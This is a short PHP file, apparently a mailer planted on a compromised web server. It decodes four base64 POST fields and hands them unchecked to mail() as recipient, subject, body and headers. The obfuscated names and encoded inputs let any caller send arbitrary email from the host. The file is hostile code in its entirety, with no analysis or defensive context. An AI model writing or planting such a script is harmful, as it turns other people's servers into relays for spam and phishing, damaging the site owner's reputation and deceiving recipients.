xyc.php

<?php
$ndqrk = base64_decode($_POST['dqnxfsqvd']);
$xbgbkyqvqgwu = base64_decode($_POST['ahufvcoivw']);
$tvweipud = base64_decode($_POST['dgkxjegdyzqnv']);
$yneq = base64_decode($_POST['jwcucfcqiqs']);
$bjqnt = mail($ndqrk, $xbgbkyqvqgwu, $tvweipud, $yneq);
if($bjqnt){echo 'wcyqr';} else {echo 'wjrclvqyrzmao : ' . $bjqnt;}